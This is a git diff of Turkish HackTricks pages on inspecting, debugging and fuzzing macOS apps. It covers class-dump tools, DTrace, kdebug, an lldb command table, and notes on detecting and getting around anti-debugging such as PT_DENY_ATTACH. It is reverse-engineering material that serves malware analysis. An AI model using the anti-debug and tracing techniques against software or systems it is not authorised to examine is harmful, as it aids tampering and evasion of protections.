| **7th+ argument** | <p><strong>rsp+</strong><br><strong>(stack'te)</strong></p> | **metoda 5. ve üzeri argüman** | | **7th+ argument** | <p><strong>rsp+</strong><br><strong>(stack'te)</strong></p> | **metodun 5. ve sonrası argümanları** |
### Dump ObjectiveC metadata ### Dump ObjectiveC metadata
### Dynadump ### Dynadump
[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf dökümü yapmak için bir araçtır. Github, dylib'leri belirtmektedir ancak bu yürütülebilir dosyalarla da çalışır. [**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf dökümü yapmak için bir araçtır. Github, dylib'leri belirtmektedir ancak bu, çalıştırılabilir dosyalarla da çalışır.
```bash ```bash
./dynadump dump /path/to/bin ./dynadump dump /path/to/bin
``` ```
@ -194,13 +181,13 @@ objdump --macho --objc-meta-data /path/to/bin
``` ```
#### class-dump #### class-dump
[**class-dump**](https://github.com/nygard/class-dump/) ObjectiveC formatında sınıflar, kategoriler ve protokoller için bildirimler üreten orijinal araçtır. [**class-dump**](https://github.com/nygard/class-dump/) , ObjetiveC formatında koddaki sınıflar, kategoriler ve protokoller için bildirimler üreten orijinal araçtır.
Eski ve bakımsızdır, bu yüzden muhtemelen düzgün çalışmayacaktır. Eski ve bakımsızdır, bu yüzden muhtemelen düzgün çalışmayacaktır.
#### ICDump #### ICDump
[**iCDump**](https://github.com/romainthomas/iCDump) modern ve çapraz platform Objective-C sınıf dökümüdür. Mevcut araçlarla karşılaştırıldığında, iCDump Apple ekosisteminden bağımsız olarak çalışabilir ve Python bağlamalarınıığa çıkarır. [**iCDump**](https://github.com/romainthomas/iCDump) modern ve çok platformlu bir Objective-C sınıf dökümüdür. Mevcut araçlarla karşılaştırıldığında, iCDump Apple ekosisteminden bağımsız olarak çalışabilir ve Python bağlamalarınıığa çıkarır.
```python ```python
import icdump import icdump
metadata = icdump.objc.parse("/path/to/bin") metadata = icdump.objc.parse("/path/to/bin")
@ -247,12 +234,12 @@ Not edin ki, macOS'ta **sistem ikililerini enstrümante etmek** (örneğin `clou
macOS, süreçler hakkında bilgi veren bazı ilginç API'ler sunar: macOS, süreçler hakkında bilgi veren bazı ilginç API'ler sunar:
* `proc_info`: Bu, her süreç hakkında çok fazla bilgi veren ana API'dir. Diğer süreçlerin bilgilerini almak için root olmanız gerekir, ancak özel yetkilere veya mach portlarına ihtiyacınız yoktur. * `proc_info`: Her süreç hakkında çok fazla bilgi veren ana API'dir. Diğer süreçlerin bilgilerini almak için root olmanız gerekir, ancak özel yetkilere veya mach portlarına ihtiyacınız yoktur.
* `libsysmon.dylib`: XPC tarafından sunulan işlevler aracılığıyla süreçler hakkında bilgi almayı sağlar, ancak `com.apple.sysmond.client` yetkisine sahip olmak gerekir. * `libsysmon.dylib`: XPC tarafından sunulan işlevler aracılığıyla süreçler hakkında bilgi almayı sağlar, ancak `com.apple.sysmond.client` yetkisine sahip olmak gerekir.
### Stackshot & mikrostackshotlar ### Stackshot & mikrostackshotlar
**Stackshotting**, süreçlerin durumunu, tüm çalışan iş parçalarının çağrı yığınlarını içerecek şekilde yakalamak için kullanılan bir tekniktir. Bu, hata ayıklama, performans analizi ve sistemin belirli bir zamanda davranışını anlamak için özellikle yararlıdır. iOS ve macOS'ta, stackshotting, **`sample`** ve **`spindump`** gibi çeşitli araçlar ve yöntemler kullanılarak gerçekleştirilebilir. **Stackshotting**, süreçlerin durumunu, tüm çalışan iş parçacıklarının çağrı yığınlarını içerecek şekilde yakalamak için kullanılan bir tekniktir. Bu, hata ayıklama, performans analizi ve sistemin belirli bir zamanda davranışını anlamak için özellikle yararlıdır. iOS ve macOS'ta, stackshotting, **`sample`** ve **`spindump`** gibi çeşitli araçlar ve yöntemler kullanılarak gerçekleştirilebilir.
### Sysdiagnose ### Sysdiagnose
@ -270,7 +257,7 @@ Plist'i `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` konumunda bu
MacOS, bir uygulama çalıştırırken **ne yaptığını anlamaya** yardımcı olabilecek çok sayıda günlük üretir. MacOS, bir uygulama çalıştırırken **ne yaptığını anlamaya** yardımcı olabilecek çok sayıda günlük üretir.
Ayrıca, bazı günlükler, bazı **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek için** `<private>` etiketini içerecektir. Ancak, bu bilgileri ifşa etmek için **bir sertifika yüklemek mümkündür**. [**buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) açıklamaları takip edin. Ayrıca, bazı günlükler, bazı **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek için** `<private>` etiketini içerecektir. Ancak, bu bilgileri ığa çıkarmak için **bir sertifika yüklemek mümkündür**. [**buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) açıklamaları takip edin.
### Hopper ### Hopper
@ -325,8 +312,6 @@ Daha ayrıntılı bir açıklama ve daha fazla örnek için [https://illumos.org
#### Örnekler #### Örnekler
Mevcut **DTrace betiklerini** listelemek için `man -k dtrace` komutunu çalıştırın. Örnek: `sudo dtruss -n binary` Mevcut **DTrace betiklerini** listelemek için `man -k dtrace` komutunu çalıştırın. Örnek: `sudo dtruss -n binary`
* Satır
```bash ```bash
#Count the number of syscalls of each running process #Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}' sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
@ -382,11 +367,11 @@ Bu, bir çekirdek izleme aracıdır. Belgelendirilmiş kodlar **`/usr/share/misc
`kdebug` ile etkileşim kurmak için `sysctl`, `kern.kdebug` ad alanı üzerinden kullanılır ve kullanılacak MIB'ler `bsd/kern/kdebug.c` içinde uygulanan fonksiyonlarla birlikte `sys/sysctl.h` içinde bulunabilir. `kdebug` ile etkileşim kurmak için `sysctl`, `kern.kdebug` ad alanı üzerinden kullanılır ve kullanılacak MIB'ler `bsd/kern/kdebug.c` içinde uygulanan fonksiyonlarla birlikte `sys/sysctl.h` içinde bulunabilir.
Kdebug ile özel bir istemci ile etkileşim kurmak için genellikle bu adımlar izlenir: Özel bir istemci ile kdebug ile etkileşim kurmak için genellikle bu adımlar izlenir:
* KERN\_KDSETREMOVE ile mevcut ayarları kaldırın * KERN\_KDSETREMOVE ile mevcut ayarları kaldırın
* KERN\_KDSETBUF ve KERN\_KDSETUP ile izlemeyi ayarlayın * KERN\_KDSETBUF ve KERN\_KDSETUP ile izlemeyi ayarlayın
* KERN\_KDGETBUF ile tampon girişlerinin sayısını alın * Tampon girişlerinin sayısını almak için KERN\_KDGETBUF kullanın
* KERN\_KDPINDEX ile izlemeyi kendi istemcinizden çıkarın * KERN\_KDPINDEX ile izlemeyi kendi istemcinizden çıkarın
* KERN\_KDENABLE ile izlemeyi etkinleştirin * KERN\_KDENABLE ile izlemeyi etkinleştirin
* KERN\_KDREADTR çağrısını yaparak tamponu okuyun * KERN\_KDREADTR çağrısını yaparak tamponu okuyun
@ -398,7 +383,7 @@ Bu bilgiyi almak için Apple aracı **`trace`** veya özel araç [kDebugView (kd
### ktrace ### ktrace
`ktrace_*` API'leri, `Kdebug`'ın sarmalayıcıları olan `libktrace.dylib`'den gelir. Ardından, bir istemci sadece `ktrace_session_create` ve `ktrace_events_[single/class]` çağrısı yaparak belirli kodlar üzerinde geri çağırmalar ayarlayabilir ve ardından `ktrace_start` ile başlatabilir. `ktrace_*` API'leri, `Kdebug`'ın sarıldığı `libktrace.dylib`'den gelir. Ardından, bir istemci sadece `ktrace_session_create` ve `ktrace_events_[single/class]` çağrısını yaparak belirli kodlar üzerinde geri çağırmaları ayarlayabilir ve ardından `ktrace_start` ile başlatabilir.
Bunu **SIP etkinleştirilmişken** bile kullanabilirsiniz. Bunu **SIP etkinleştirilmişken** bile kullanabilirsiniz.
@ -412,7 +397,7 @@ Or `tailspin`.
Bu, bir çekirdek düzeyinde profil oluşturmak için kullanılır ve `Kdebug` çağrıları ile oluşturulmuştur. Bu, bir çekirdek düzeyinde profil oluşturmak için kullanılır ve `Kdebug` çağrıları ile oluşturulmuştur.
Temelde, global değişken `kernel_debug_active` kontrol edilir ve ayarlandığında `kperf_kdebug_handler` çağrılır, `Kdebug` kodu ve çağrılan çekirdek çerçevesinin adresi ile. Eğer `Kdebug` kodu seçilenlerden biri ile eşleşirse, "hareketler" bir bitmap olarak yapılandırılır (seçenekler için `osfmk/kperf/action.h` dosyasına bakın). Temelde, global değişken `kernel_debug_active` kontrol edilir ve ayarlandığında `kperf_kdebug_handler` çağrısı yapılır, `Kdebug` kodu ve çağrılan çekirdek çerçevesinin adresi ile. Eğer `Kdebug` kodu seçilenlerden biri ile eşleşirse, "hareketler" bir bitmap olarak yapılandırılır (seçenekler için `osfmk/kperf/action.h` dosyasına bakın).
Kperf'in ayrıca bir sysctl MIB tablosu vardır: (root olarak) `sysctl kperf`. Bu kodlar `osfmk/kperf/kperfbsd.c` dosyasında bulunabilir. Kperf'in ayrıca bir sysctl MIB tablosu vardır: (root olarak) `sysctl kperf`. Bu kodlar `osfmk/kperf/kperfbsd.c` dosyasında bulunabilir.
@ -431,7 +416,7 @@ Mac'inizi **`sudo eslogger fork exec rename create > cap.json`** gibi bir komutl
### FileMonitor ### FileMonitor
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor), dosya olaylarını (oluşturma, değişiklikler ve silmeler gibi) izlemeye olanak tanır ve bu tür olaylar hakkında ayrıntılı bilgi sağlar. [**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor), dosya olaylarını (oluşturma, değişiklikler ve silme gibi) izlemeye olanak tanır ve bu tür olaylar hakkında ayrıntılı bilgi sağlar.
### Crescendo ### Crescendo
@ -476,10 +461,10 @@ settings set target.x86-disassembly-flavor intel
lldb içinde, bir işlemi `process save-core` ile dökün lldb içinde, bir işlemi `process save-core` ile dökün
{% endhint %} {% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komut</strong></td><td><strong>ıklama</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Bir kesme noktası vurulana veya işlem sona erene kadar devam edecek şekilde yürütmeyi başlatır.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Giriş noktasında durarak yürütmeyi başlatır</td></tr><tr><td><strong>continue (c)</strong></td><td>Hedeflenen işlemin yürütülmesine devam eder.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Sonraki talimatı yürütür. Bu komut, işlev çağrılarını atlar.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Sonraki talimatı yürütür. nexti komutunun aksine, bu komut işlev çağrılarına adım atar.</td></tr><tr><td><strong>finish (f)</strong></td><td>Mevcut işlevdeki (“çerçeve”) geri kalan talimatları yürütür ve durur.</td></tr><tr><td><strong>control + c</strong></td><td>Yürütmeyi duraklatır. İşlem run (r) veya continue (c) ile çalıştırıldıysa, bu işlem durur ... mevcut yürütme yerinde.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Herhangi bir main adlı işlev</p><p><code>b &#x3C;binname>`main</code> #Bin'in ana işlevi</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Belirtilen binin ana işlevi</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Herhangi bir NSFileManager yöntemi</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # O kütüphanedeki tüm işlevlerde kesme noktası</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Kesme noktası listesi</p><p><code>br e/dis &#x3C;num></code> #Kesme noktasını etkinleştir/etkisiz hale getir</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kesme noktası komutu hakkında yardım al</p><p>help memory write #Belleğe yazma hakkında yardım al</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/bellek adresi></strong></td><td>Belleği null-terminatlı dize olarak görüntüler.</td></tr><tr><td><strong>x/i &#x3C;reg/bellek adresi></strong></td><td>Belleği montaj talimatı olarak görüntüler.</td></tr><tr><td><strong>x/b &#x3C;reg/bellek adresi></strong></td><td>Belleği byte olarak görüntüler.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Bu, parametre ile referans verilen nesneyi yazdırır</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Apple'ın Objective-C API'lerinin veya yöntemlerinin çoğu nesne döndürdüğünden, bunlar “print object” (po) komutu ile görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa <code>x/b</code> kullanın</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz<br>memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Mevcut işlevi disassemble et</p><p>dis -n &#x3C;funcname> #İşlevi disassemble et</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #İşlevi disassemble et<br>dis -c 6 #6 satırı disassemble et<br>dis -c 0x100003764 -e 0x100003768 #Bir eklemden diğerine kadar<br>dis -p -c 4 #Mevcut adreste disassemble etmeye başla</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 reg'deki 3 bileşenli diziyi kontrol et</td></tr><tr><td><strong>image dump sections</strong></td><td>Mevcut işlem belleğinin haritasını yazdırır</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #CoreNLP'den tüm sembollerin adresini al</td></tr></tbody></table> <table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komut</strong></td><td><strong>ıklama</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Bir kesme noktası vurulana veya işlem sona erene kadar devam edecek şekilde yürütmeyi başlatır.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Giriş noktasında durarak yürütmeyi başlatır</td></tr><tr><td><strong>continue (c)</strong></td><td>Hata ayıklanan işlemin yürütülmesine devam eder.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Sonraki talimatı yürütür. Bu komut, işlev çağrılarını atlar.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Sonraki talimatı yürütür. nexti komutunun aksine, bu komut işlev çağrılarına adım atar.</td></tr><tr><td><strong>finish (f)</strong></td><td>Mevcut işlevdeki (“çerçeve”) geri kalan talimatları yürütür, döner ve durur.</td></tr><tr><td><strong>control + c</strong></td><td>Yürütmeyi duraklatır. İşlem run (r) veya continue (c) ile çalıştırıldıysa, bu işlem durmasına neden olur ...şu anda yürütüldüğü yerde.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Herhangi bir main adlı işlev</p><p><code>b &#x3C;binname>`main</code> #Bin'in ana işlevi</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Belirtilen binin ana işlevi</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Herhangi bir NSFileManager yöntemi</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # O kütüphanedeki tüm işlevlerde kesme noktası</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Kesme noktası listesi</p><p><code>br e/dis &#x3C;num></code> #Kesme noktasını etkinleştir/etkisiz hale getir</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kesme noktası komutu hakkında yardım al</p><p>help memory write #Belleğe yazma hakkında yardım al</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/bellek adresi></strong></td><td>Belleği null-terminatlı dize olarak görüntüler.</td></tr><tr><td><strong>x/i &#x3C;reg/bellek adresi></strong></td><td>Belleği montaj talimatı olarak görüntüler.</td></tr><tr><td><strong>x/b &#x3C;reg/bellek adresi></strong></td><td>Belleği byte olarak görüntüler.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Bu, parametre ile referans verilen nesneyi yazdırır</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Appleın Objective-C API'lerinin veya yöntemlerinin çoğu nesne döndürdüğünden, bunlar “print object” (po) komutu ile görüntülenmelidir. Eğer po anlamlı bir çıktı üretmiyorsa <code>x/b</code> kullanın</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #O adrese AAAA yaz<br>memory write -f s $rip+0x11f+7 "AAAA" #Adrese AAAA yaz</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Mevcut işlevi disassemble et</p><p>dis -n &#x3C;funcname> #İşlevi disassemble et</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #İşlevi disassemble et<br>dis -c 6 #6 satırı disassemble et<br>dis -c 0x100003764 -e 0x100003768 #Bir eklemden diğerine kadar<br>dis -p -c 4 #Mevcut adreste disassemble etmeye başla</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1 reg'deki 3 bileşenli diziyi kontrol et</td></tr><tr><td><strong>image dump sections</strong></td><td>Mevcut işlem belleğinin haritasını yazdırır</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #CoreNLP'den tüm sembollerin adresini al</td></tr></tbody></table>
{% hint style="info" %} {% hint style="info" %}
**`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydedicisi **metodun adını** null-terminatlı (“C”) dize olarak tutar. lldb üzerinden adı yazdırmak için: **`objc_sendMsg`** fonksiyonu çağrıldığında, **rsi** kaydedicisi **metodun adını** null-terminatlı (“C”) dize olarak tutar. Adı lldb üzerinden yazdırmak için:
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
@ -501,14 +486,14 @@ lldb içinde, bir işlemi `process save-core` ile dökün
* Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağı ile çağırabilir. Bu, bir hata ayıklayıcının bağlanmasını ve izlenmesini **engeller**. * Ayrıca **`ptrace`** sistem çağrısını **`PT_DENY_ATTACH`** bayrağı ile çağırabilir. Bu, bir hata ayıklayıcının bağlanmasını ve izlenmesini **engeller**.
* **`sysctl`** veya **`ptrace`** fonksiyonunun **içe aktarıldığını** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak içe aktarabilir). * **`sysctl`** veya **`ptrace`** fonksiyonunun **içe aktarıldığını** kontrol edebilirsiniz (ancak kötü amaçlı yazılım bunu dinamik olarak içe aktarabilir).
* Bu yazıda belirtildiği gibi, “[Anti-Debug Tekniklerini Aşmak: macOS ptrace varyantları](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ * Bu yazıda belirtildiği gibi, “[Anti-Debug Tekniklerini Aşmak: macOS ptrace varyantları](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Process # çıkış mesajı **status = 45 (0x0000002d)** ile genellikle hata ayıklama hedefinin **PT_DENY_ATTACH** kullandığını gösteren bir işarettir_” “_Process # exited with **status = 45 (0x0000002d)** mesajı genellikle hata ayıklama hedefinin **PT_DENY_ATTACH** kullandığını gösteren bir işarettir_”
## Core Dumps ## Core Dumps
Core dump'lar şu durumlarda oluşturulur: Core dump'lar şu durumlarda oluşturulur:
* `kern.coredump` sysctl 1 olarak ayarlanmışsa (varsayılan olarak) * `kern.coredump` sysctl 1 olarak ayarlanmışsa (varsayılan olarak)
* İşlem suid/sgid değilse veya `kern.sugid_coredump` 1 ise (varsayılan 0'dır) * İşlem suid/sgid değilse veya `kern.sugid_coredump` 1 ise (varsayılan olarak 0)
* `AS_CORE` limiti işlemi izin veriyorsa. Kod dump'larının oluşturulmasını engellemek için `ulimit -c 0` çağrılabilir ve yeniden etkinleştirmek için `ulimit -c unlimited` kullanılabilir. * `AS_CORE` limiti işlemi izin veriyorsa. Kod dump'larının oluşturulmasını engellemek için `ulimit -c 0` çağrılabilir ve yeniden etkinleştirmek için `ulimit -c unlimited` kullanılabilir.
Bu durumlarda core dump, `kern.corefile` sysctl'e göre oluşturulur ve genellikle `/cores/core/.%P` dizininde saklanır. Bu durumlarda core dump, `kern.corefile` sysctl'e göre oluşturulur ve genellikle `/cores/core/.%P` dizininde saklanır.
@ -517,7 +502,7 @@ Bu durumlarda core dump, `kern.corefile` sysctl'e göre oluşturulur ve genellik
### [ReportCrash](https://ss64.com/osx/reportcrash.html) ### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **çöken işlemleri analiz eder ve bir çökme raporunu diske kaydeder**. Bir çökme raporu, bir geliştiricinin çökme nedenini teşhis etmesine **yardımcı olabilecek** bilgileri içerir.\ ReportCrash **çöken işlemleri analiz eder ve bir çökme raporunu diske kaydeder**. Bir çökme raporu, bir geliştiricinin çökme nedenini teşhis etmesine yardımcı olabilecek bilgileri içerir.\
Kullanıcı başına launchd bağlamında **çalışan uygulamalar ve diğer işlemler** için, ReportCrash bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizinine kaydeder.\ Kullanıcı başına launchd bağlamında **çalışan uygulamalar ve diğer işlemler** için, ReportCrash bir LaunchAgent olarak çalışır ve çökme raporlarını kullanıcının `~/Library/Logs/DiagnosticReports/` dizinine kaydeder.\
Daimonlar, sistem launchd bağlamında **çalışan diğer işlemler** ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemin `/Library/Logs/DiagnosticReports` dizinine kaydeder. Daimonlar, sistem launchd bağlamında **çalışan diğer işlemler** ve diğer ayrıcalıklı işlemler için, ReportCrash bir LaunchDaemon olarak çalışır ve çökme raporlarını sistemin `/Library/Logs/DiagnosticReports` dizinine kaydeder.
@ -626,34 +611,22 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
## Referanslar ## Referanslar
* [**OS X Olay Yanıtı: Betik ve Analiz**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) * [**OS X Olay Yanıtı: Betik Yazma ve Analiz**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44) * [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**Mac Kötü Amaçlı Yazılım Sanatı: Kötü Amaçlı Yazılımları Analiz Etme Rehberi**](https://taomm.org/) * [**Mac Kötü Amaçlı Yazılım Sanatı: Kötü Amaçlı Yazılımları Analiz Etme Rehberi**](https://taomm.org/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) , bir şirketin veya müşterilerinin **çalıntı kötü amaçlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking Öğrenin & Pratik Yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking Öğrenin & Pratik Yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,57 +1,44 @@
# macOS Bellek Dökme # macOS Bellek Dökümü
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> ## Bellek Artifaktları
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
